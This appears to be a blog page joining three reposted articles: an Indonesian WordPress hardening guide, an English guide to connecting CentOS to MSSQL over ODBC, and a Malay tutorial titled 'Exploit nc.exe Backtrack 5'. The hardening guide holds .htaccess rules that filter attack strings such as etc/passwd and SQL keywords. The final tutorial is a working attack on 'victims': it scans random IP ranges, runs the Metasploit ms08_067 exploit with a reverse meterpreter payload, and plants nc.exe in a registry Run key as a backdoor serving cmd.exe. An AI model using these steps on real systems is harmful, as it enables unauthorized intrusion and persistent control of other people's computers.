Keamanan BLOG WEBSITE CMS :10 Hal Yang Harus Di Lakukan Setelah Install WordPress

Kenapa “Pihak WordPress” masih belum memperbaiki error code bahkan hanya sekedar menutupi error code yang muncul username cPanel kita ? Jawabannya mungkin karena pihak wordpress sengaja tidak memperbaiki kesalahan tersebut agar kita “Selaku Pengguna CMS Open Source” dapat belajar sedikit demi sedikit isi dari source codenya & menambal bugs pada CMS tersebut bahkan klo kita sanggup, Kita juga disarankan agar dapat mengembangkannya.

Lalu apa yang harus kita lakukan pertama kalinya setelah selesai menginstall WordPress ? Oke, ini akan saya tulis sebagai catatan saya supaya kelak saya lupa & membutuhkannya, Saya dapat melihat & membacanya di catatan sendiri tanpa harus Gugling dulu mencari artikel yang sesuai dengan kebutuhan saya sekarang.
Step Pertama “Mengamankan Direktori WordPress”

Pertama-tama, masuk ke direktori WordPress sesuai dengan hosting yang anda pakai. Bisa menggunakan Webdisk, cPanel File Manager, VistaPanel File Manager, PleskPanel File Manager, Bahkan Bisa juga dengan menggunakan FTP. Setelah masuk ke direktori WordPress yang anda install, Silahkan cari file yang bernama wp-settings.php. Masukkan error_reporting(0); setelah kode <?php & simpan perubahan.
<?php
error_reporting(0);

Kemudian amankan juga direktori WordPress pada folder wp-admin. Caranya masih sama seperti cara di atas hanya dengan menambahkan error_reporting(0); setelah kode <?php. File yang harus di tambahkan kode tersebut adalah admin-functions.php, menu.php, menu-header.php, options-head.php, & upgrade-functions.php.

Lanjut ke Direktori WordPress pada folder wp-admin/includes. Di direktori ini banyak sekali bugs yang harus di tambal dengan cara di atas. Namun, saya punya alternatif lain untuk menambal bugs pada folder ini yang lebih cepat tanpa mengedit satu persatu file yang mengandung pesan kesalahan. Cara alternatif itu adalah membuat file .htaccess pada direktori tersebut, Lalu isikan file .htaccess itu dengan beberapa baris kode di bawah ini…
php_flag display_startup_errors off
php_flag display_errors off
php_flag html_errors off
php_flag log_errors on
php_flag ignore_repeated_errors off
php_flag ignore_repeated_source off
php_flag report_memleaks on
php_flag track_errors on
php_value docref_root 0
php_value docref_ext 0
php_value error_reporting -1
php_value log_errors_max_len 0

Setelah melakukan cara di atas, berarti secara tidak langsung anda menambal satu persatu bugs yang ada pada direktori wp-admin/includes. Jika anda ingin memastikan ini bekerja atau tidak, silahkan test dulu dengan mengetikkan alamat blog wordpress anda di address bar browser anda. Contohnya http://www.nurulimam.com/wp-admin/includes/nama-file.php. Nama file yang mengandung kesalahan bisa di lihat di bawah ini …
admin.php
class-ftp-pure.php
class-ftp-sockets.php
class-ftp.php
class-wp-filesystem-direct.php
class-wp-filesystem-ftpext.php
class-wp-filesystem-ftpsockets.php
class-wp-filesystem-ssh2.php
comment.php
continents-cities.php
file.php
media.php
misc.php
plugin-install.php
plugin.php
template.php
theme-install.php
update.php
upgrade.php
user.php

Langkah selanjutnya adalah mengamankan direktori WordPress pada folder wp-includes. Di folder ini juga banyak sekali file yang mengandung pesan kesalahan yang harus di tambal. Pesan kesalahan itu bisa di temui jika anda mengakses file di bawah ini …
canonical.php
class-feed.php
class.wp-scripts.php
class.wp-styles.php
comment-template.php
default-embeds.php
default-filters.php
default-widgets.php
feed-atom-comments.php
feed-atom.php
feed-rdf.php
feed-rss.php
feed-rss2-comments.php
feed-rss2.php
general-template.php
kses.php
media.php
post.php
registration-functions.php
rss-functions.php
rss.php
script-loader.php
shortcodes.php
taxonomy.php
template-loader.php
theme.php
update.php
vars.php
wp-db.php
user.php

Dari pada anda menambal satu persatu file yang cukup banyak, Lebih baik jika anda menggunakan trick redirect dengan .htaccess. Caranya mudah sekali, tinggal anda buat satu file bernama .htaccess & masukkan kode di bawah ini…
<ifmodule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule .*\.php$ http://namadomainanda [L]

Untuk cara simplenya tambahkan kode ini_set(“display_errors”, 0); error_reporting(0); pada wp-config.php. Itu sudah dapat menutupi pesan kesalahan pada semua direktori WordPress. Lalu apa lagi yang harus dilakukan setelah menerapkan cara di atas ?
Step Ke-2 “Mengamankan wp-config.php”

Langkah pertama, Silahkan backup dulu file wp-config.php yang ada di root directory WordPress anda entah disimpan di komputer maupun di web hosting anda. Itu semata-mata hanya untuk menjaga-jaga agar kelak terjadinya kesalahan, anda masih dapat mengembalikannya seperti semula. Setelah itu buat file dengan nama apa saja (yang terpenting file itu dengan ekstensi .php), Lalu simpan di direktori yang tidak terbaca oleh public (lebih tepatnya di direktori paling atas) dengan contoh saya membuatnya di atas direktori www / public. Isikan beberapa baris kode pada file tersebut dengan file konfigurasi wordpress anda. Contohnya bisa di lihat di bawah ini…
<?php
ini_set(“display_errors”, 0);
error_reporting(0);
define(‘DB_NAME’, ‘nama_database’;);
define(‘DB_USER’, ‘user_database’;);
define(‘DB_PASSWORD’, ‘pass_database’;);
define(‘DB_HOST’, ‘localhost’;);
define(‘DB_CHARSET’, ‘utf8’;);
define(‘DB_COLLATE’, ”;);
$table_prefix = ‘tablewp_’;
?>
Setelah selesai dibuat, panggil file tadi dengan cara menuliskan include(‘/home/nurulima/secure.php’;); pada wp-config.php. Contoh gampangnya bisa anda lihat di bawah ini …

<?php
ini_set(“display_errors”, 0);
error_reporting(0);
include(‘/home/usernamecpanelanda/nama-file-yang-tadi-dibuat.php’;);
define(‘AUTH_KEY’, ‘thadm59wnk3wxmmucut9rxgrttxfpeogtovdv25tygc0otijahsqg81keluwiegt’;);
define(‘SECURE_AUTH_KEY’, ‘hu5dtxuruhpukph3tip2t4hcgmdbreb0ejg0vbylyrrdc0u7zann86uye6poh7es’;);
define(‘LOGGED_IN_KEY’, ‘1iclqx6onlrvm2czsxjx6bdppld2k69wyat8t8sbkbncjuhmwovtgwqvznmrbijt’;);
define(‘NONCE_KEY’, ‘8i4agtcsdqycydkqsaug2ztxhqs2nilttrrpsivadqx2ev2rcgichp9u03n4nsrl’;);
define(‘AUTH_SALT’, ‘ogom5nc4kfknqeo5iesa9mypx0tkadprzlp8ixo3pqqq9x9ed7khgguxyxjzoxou’;);
define(‘SECURE_AUTH_SALT’, ‘geb6dbtcn4kveneltnffxe2nepjtv0mqtob0x1vdjlfae32dkcwv0tvhq0lugpoo’;);
define(‘LOGGED_IN_SALT’, ‘o4rgbyi9hjijdydsvsf5btayqmigqnpivjftctof6tonm7mvvlgbsyvzvca9lupy’;);
define(‘NONCE_SALT’, ‘m4qfqrxwy6dwpl89wy88xkqclvredjyr3gkspjgib3vu54p14y9kggkzzy6yqutu’;);
define(‘WPLANG’, ‘en’;);
define(‘WP_DEBUG’, false);
define(‘WP_CACHE’, true);
define(‘WP_POST_REVISIONS’, false);
define(‘WP_ALLOW_REPAIR’, false);
define(‘WP_HOME’, ‘http://namadomainanda’;);
define(‘WP_SITEURL’, ‘http://namadomainanda’;);
define(‘COOKIE_DOMAIN’, ‘namadomainanda’;);
define(‘AUTOSAVE_INTERVAL’, 300);
if ( !defined(‘ABSPATH’;) )
define(‘ABSPATH’, dirname(__FILE__) . ‘/’;);
require_once(ABSPATH . ‘wp-settings.php’;);
Step Ke-3 “Mengamankan Form Login WordPress”

Cara ini lumayan cukup ampuh untuk menghalangi “Sang Cracker” menguasai kontrol admin blog WordPress anda meskipun cracker sudah berhasil membobol username & password anda. Oke, Rename wp-login.php dengan nama apapun. Jika anda merename file tersebut, maka anda juga hanya bisa masuk melalui http://namadomainanda/nama-file-yang-direname.php. Eit, tunggu dulu ! Itu belum selesai, Lanjutkan dengan mengedit file tadi & Replace kode wp-login.php yang ada di dalamnya dengan nama-file-yang-direname.php & simpan perubahan.
Step Ke-4 “Keamanan Extra Pada .htaccess”

Keamanan extra yang harus dilakukan adalah dengan cara menambahkan kode di bawah ini kedalam file .htaccess. Edit file .htaccess yang ada di root direktori wordpress anda. Lalu tambahkan kode dibawah ini tepat pada paling teratas (Line Pertama).
<files .htaccess>
order allow,deny
deny from all
</files>
<IfModule mod_setenvif.c>
SetEnvIfNoCase User-Agent ^$ keep_out
SetEnvIfNoCase User-Agent (casper|cmsworldmap|diavol|dotbot) keep_out
SetEnvIfNoCase User-Agent (flicky|ia_archiver|jakarta|kmccrew) keep_out
SetEnvIfNoCase User-Agent (libwww|planetwork|pycurl|skygrid) keep_out
<Limit GET POST PUT>
Order Allow,Deny
Allow from all
Deny from env=keep_out
</Limit>
</IfModule>
<Limit GET POST>
order deny,allow
deny from all
allow from all
</Limit>
Options All -indexes
ServerSignature Off
LimitRequestBody 10240000
Options +FollowSymLinks
RewriteEngine On
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
RewriteRule ^(.*)$ index.php [F,L]
RewriteCond %{QUERY_STRING} !error
RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /(wp-includes|wp-content)/(.+)\.php\ HTTP/
RewriteRule .* – [F]
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{QUERY_STRING} (environ|localhost|mosconfig|scanner) [NC,OR]
RewriteCond %{QUERY_STRING} (menu|mod|path|tag)\=\.?/? [NC,OR]
RewriteCond %{QUERY_STRING} boot\.ini [NC,OR]
RewriteCond %{QUERY_STRING} echo.*kae [NC,OR]
RewriteCond %{QUERY_STRING} etc/passwd [NC,OR]
RewriteCond %{QUERY_STRING} \=\\%27$ [NC,OR]
RewriteCond %{QUERY_STRING} \=\\\’$ [NC,OR]
RewriteCond %{QUERY_STRING} \.\./ [NC,OR]
RewriteCond %{QUERY_STRING} \: [NC,OR]
RewriteCond %{QUERY_STRING} \[ [NC,OR]
RewriteCond %{QUERY_STRING} \] [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(%0|%A|%B|%C|%D|%E|%F|127.0).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(globals|encode|loopback).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(%22|%27|%3C|%3E|%5C|%7B|%7C).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(request|select|insert|union|declare|drop).* [NC]
RewriteRule ^(.*)$ – [F,L]
</IfModule>
Step Ke-5 “Memperbaiki Error Pada Feed WordPress”

Terkadang jika kita menginstall Theme & Plugin, Kita tidak tahu berjalan / tidaknya Feed WordPress kita. Itu dikarenakan adanya kesalahan penulisan pada kode yang terdapat pada plugin & theme kita. Biasanya masalah yang muncul adalah penulisan space pada kode <?php. Bagaimana cara memperbaikinya ? Apa kita perlu memeriksa satu persatu kode yang salah ? Jika hhanya bertujuan untuk memperbaiki kesalahan memparsing feed, lebih baik tambahkan saja fungsi pembersihan kode yang salah tersebut pada file yang terletak pada directory wp-includes. File tersebut bisa dilihat dibawah ini…
feed-atom.php
feed-atom-comments.php
feed-rdf.php
feed-rss2.php
feed-rss2-comments.php
feed-rss.php

Edit file-file di atas & tambahkan kode dibawah ini tepat di atas kode echo ‘<?xml version=”1.0″ encoding=”‘.get_option(‘blog_charset’;).'”?’.’>’; ?>. Kode yang harus di tambahkan bisa di lihat dibawah ini…
$out = ob_get_contents();
$out = str_replace(array(“\n”, “\r”, “\t”, ” “;), “”, $input);
ob_end_clean();
Step Ke-6 “Menambahkan Robots.txt”

Fungsi dari penambahan robots.txt ini selain memberitahukan “Search Engine” untuk menentukan mana yang boleh di index & mana yang tidak boleh di index, robots.txt ini juga berperan agar search engine tidak menghabiskan bandwith kita untuk mengindex yang kita tentukan saja. Buat robots.txt di direktori wordpress anda & isikan file robots.txt dengan yang saya tuliskan dibawah ini …
User-agent: Googlebot
Disallow: /*.php$
Disallow: /*.js$
Disallow: /*.inc$
Disallow: /*.css$
Disallow: /*.gz$
Disallow: /*.wmv$
Disallow: /*.cgi$
Disallow: /*.xhtml$
Disallow: /*?*
Disallow: /*?
Disallow: /*?postcomment=true
Disallow: /*?comments=true
Disallow: /*page=
Disallow: /*?page=
Disallow: /*pg=
Disallow: /?pg=
User-agent: duggmirror
Disallow: /
User-agent: ia_archiver
Disallow: /
User-agent: *
Disallow: /cgi-bin/
Disallow: /wp-admin/
Disallow: /wp-includes/
Disallow: /wp-register.php
Disallow: /trackback/
Disallow: /feed/
Sitemap: http://domainanda/sitemap.xml
Sitemap: http://domainanda/sitemap.xml.gz
Step Ke-7 “Menghapus File Yang Tidak Penting”

Pertama, Hapuslah Direktori wp-content/languages. Ini memungkinkan agar anda tidak mengost file terlalu banyak di web hosting anda. ini sangat di anjurkan bagi yang memiliki kapasitas disk space yang terbilang sangat minim. Jika anda menghapus semua file yang ada di direktori wp-content/languages, berarti anda sudah menghemat disk space anda dengan menghapus file yang berukuran kurang lebih 20 MB.

Kedua, Hapuslah File readme.html. Ini dilakukan agar sang Cracker tidak mengetahui Versi WordPress yang kita pakai sekarang. Terakhir hapuslah file install.php pada direktori wp-admin. Ini juga banyak cracker yang menembus celah keamanan melalui bugs pada file install.php.
Step Ke-8 “Pilihan Konfigurasi Permalinks”

Konfigurasi permalinks pada wordpress itu sangat penting, Bukan hanya berefek pada “SEO” semata namun juga dapat sedikit mengurangi dari kerentanan keamanan blog anda. Defaultnya wordpress memberikan permalinks seperti http://domainanda/?p=123. Konfigurasi permalinks yang biasa saya pakai ada 3 macam.

Pertama, saya menggunakan Custom Structure & di ikuti dengan /%year%/%monthnum%/%postname%.html yang akan menjadi http://domainanda/2011/10/judul-dari-artikel-anda.html. Ini Biasa saya pakai jika WordPress berhubungan sangat dekat dengan Mesin Blogger.

Kedua, saya biasa menggunakan Custom Structure & di ikuti dengan /%year%/%postname%/ yang akan menjadi http://domainanda/2011/judul-dari-artikel-anda/. Ini saya pakai jika tidak ada hubungan antar CMS yang saya pakai.

Terakhir, saya menggunakan Day & Name /%year%/%monthnum%/%day%/%postname%/ yang akan menjadi http://localhost/blog/2011/10/25/judul-dari-artikel-anda/. Ini yang saya lakukan jika blog berhubungan dengan Toto “Engine Blog Yang Saya Pakai Sekarang”. Jadi jika suatu saat saya memindahkan blog ini ke WordPress / sebaliknya, Saya tidak merasa kesulitan dengan berkurangnya Dead Link.
Step Ke-9 “Mengisntall Plugin Yang Perlu Saja”

Jangan isntall plugin yang berlebihan, itu dapat memberatkan kinerja server karena banyak memakan Resources. Install Plugin yang perlu saja. Plugin yang Ringan & Perlu Digunakan adalah Block Bad Query & Google Sitemap Generator. Adapun All in One SEO Pack & W3 Total Cache itu tidak di anjurkan pada Shared Hosting.
Step Ke-10 “Menghapus Post & Pages Default”

Setelah 9 Step diatas sudah dilakukan, Saatnya kita melangkah ke step yang terakhir. Defaultnya WordPress memberikan sample post, pages, links, & category. Nah, Anda hapus semuanya & Keep Posting. Posting sesuka hatimu ! Jangan merasa terbebani dengan waktu & topic untuk update postingnya.

Demikianlah catatan saya pribadi untuk mengingatkan saya ketika pertama kali menginstall WordPress. Dengan adanya catatan ini, saya pribadi merasa terbantu untuk mengingatnya. Semoga catatan ini dapat bermanfaat untuk siapapun yang membacanya.

sumber : http://www.nurulimam.com/article/hal-yang-harus-di-lakukan-setelah-install-wordpress

Connect to MSSQL in Centos with ODBC ; koneksi Ms SQL dari Centos menggunakan ODBC

Recently I have to connect to MSSQL to communicate between two server. One in Linux and the other one is Window Server. But this isn’t easy as work on localhost. As I know the xampp in window doesn’t have odbc driver b’coz it already there. Then after a while I managed to find the solution.
Here what i found:
Step 1:
Open Terminal
Step 2:
Install unixODBC and freetds
yum install unixODBC
yum install freetds
Step 3:
open the odbc.ini in etc folder and paste this code
[MSSQL]
Driver=FreeTDS
Description=MS SQL Test
Trace=No
Server= 121.0.0.1
Database= myDB
Port=1433
TDS_Version = 8.0
Note : Change the the server into your server (window).
Step 4:
open the odbcinst.ini in etc folder and paste this code
[FreeTDS]
Description = FreeTDS driver
Driver = /usr/lib64/libtdsodbc.so.0
Setup = /usr/lib64/libtdsS.so.2
Trace = Yes
TraceFile = /tmp/freetds.log
FileUsage = 1
UsageCount =1

[ODBC]
DEBUG=1
TraceFile=/root/sqltrace.log
Trace=Yes

Note : Please check the exact location for Driver/Setup in your Linux Server.
Step 5:
open the freetds.conf in etc folder and paste this code
[MSSQL]
host = 127.0.0.1
port = 1433
tds version = 8.0
Note : Change the the server into your server (window).
Step 6:
then you may test the connection with this code
isql -v MSSQL sa password
you will get this
[root@localhost]# isql -v MSSQL sa password
+—————————————+
| Connected!                                          |
|                                                             |
| sql-statement                                        |
| help [tablename]                                   |
| quit                                                       |
|                                                             |
+—————————————+
sa – refer to the username of the SQL authentication
password – refer to the password  of the SQL authentication
Step 7:
Create test page in php
<?php

// connect to DSN MSSQL with a user and password
$connect = odbc_connect(“MSSQL”, “sa”, “password”;) or die
(“couldn’t connect”;);

$result = odbc_exec($connect, “SELECT Identity_No, Name FROM dbo.user”;);
while(odbc_fetch_row($result)){
print(odbc_result($result, “Identity_No”;) .
‘ ‘ . odbc_result($result, “Name”;) . “<br>\n”;);
}
odbc_free_result($result);
odbc_close($connect);
?>

If you get the result, that mean you has successfully connected to MSSQL. But if you don’t, please try to recheck each of the file (freetds.conf, odbc.ini, odbcinst.ini) in their exact location. This state is the harder one, no one ever told me about the location. I got stuck in there also. But it did figure it out soon. Try to locate the odbc file with this
odbcinst -j
you will get this information about the ODBC driver that you install earlier.
unixODBC 2.2.11
DRIVERS…………: /etc/odbcinst.ini
SYSTEM DATA SOURCES: /etc/odbc.ini
USER DATA SOURCES..: /root/.odbc.ini
sumber : http://shasscript.blogspot.com/2012/02/connect-to-mssql-in-centos-with-odbc.html

Exploit nc.exe Backtrack 5

1. Buka terminal di Backtrack dan taip

Code:

# cp /pentest/windows-binaries/tools/nc.exe /root/Desktop/

Secara automaticnya di Desktop Backtrack anda akan muncul satu fail nc.exe

2. Kemudian buka terminal baru (New Tab), taipkan kata arahan NMap IP Address mangsa untuk melihat OS yang digunakan

Code:

# nmap -sS -O [IP_MANGSA]

kata arahan diatas digunakan jika anda mempunyai IP Address Mangsa anda

Code:

# nmap -sS -O 192.168.1.1-255

kata arahan diatas digunakan jika anda ingin mencari mangsa secara rawak

Quote:Untuk tutorial ini, anda memerlukan mangsa yang menggunakan OS Microsoft Windows XP sahaja!
3. Setelah anda mempunyai mangsa, buka metasploit di terminal baru anda

Code:

# msfconsole
4. Kemudian taipkan kata arahan dibawah

Code:

> use exploit/windows/smb/ms08_067_netapi

Code:

> set payload windows/meterpreter/reverse_tcp

Code:

> set LHOST [IP_anda]

Code:

> set RHOST [IP_mangsa]

Code:

> exploit
5. Biarkan ianya running sehinggalah anda berjaya mendapatkan SESSION mangsa. Anda berjaya mendapatkan SESSION mangsa apabila satu kata arahan keluar iaitu

Code:

meterpreter >
6. Setelah itu, taipkan kata arahan dibawah untuk memasukkan Backdoor nc.exe tadi ke dalam komputer mangsa

Code:

> upload /root/Desktop/nc.exe c:\\WINDOWS\\system32\\
7. Setelah proses muat naik selesai, sekarang ada proses untuk menyemak registry komputer mangsa

Code:

> reg enumkey -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RUN

 

Quote:Proses ini juga untuk menjalankan Backdoor tadi setiap kali mangsa membuka komputer
8. Sekarang adalah proses untuk mendaftar backdoor nc.exe tadi ke registry komputer mangsa

Code:

> reg setval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RUN -v BACKDOOR -d c:\\WINDOWS\\system32\\nc.exe” -: -d -p 1111 -e cmd.exe”
9. Sekarang pula adalah proses untuk menyemak backdoor yang telah dimasukkan ke registry mangsa

Code:

> reg enumkey -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run

 

Quote:Anda akan mendapati Backdoor anda telah pon berada pada registry komputer mangsa
10. Reboot komputer mangsa

Code:

> reboot
11. Setelah komputer mangsa direboot, kini masanya untuk membuat penyambungan ke komputer mangsa dengan hanya menggunakan Backdoor kita tadi. Buka terminal anda dan taipkan kata arahan dibawah

Code:

# nc [IP_MANGSA] 1111
12. DONE! kini anda telah berada di System komputer mangsa.

 

download file nya disini Universitas Bina Darma Exploit nc-exe Backtrack 5

:iloveindonesia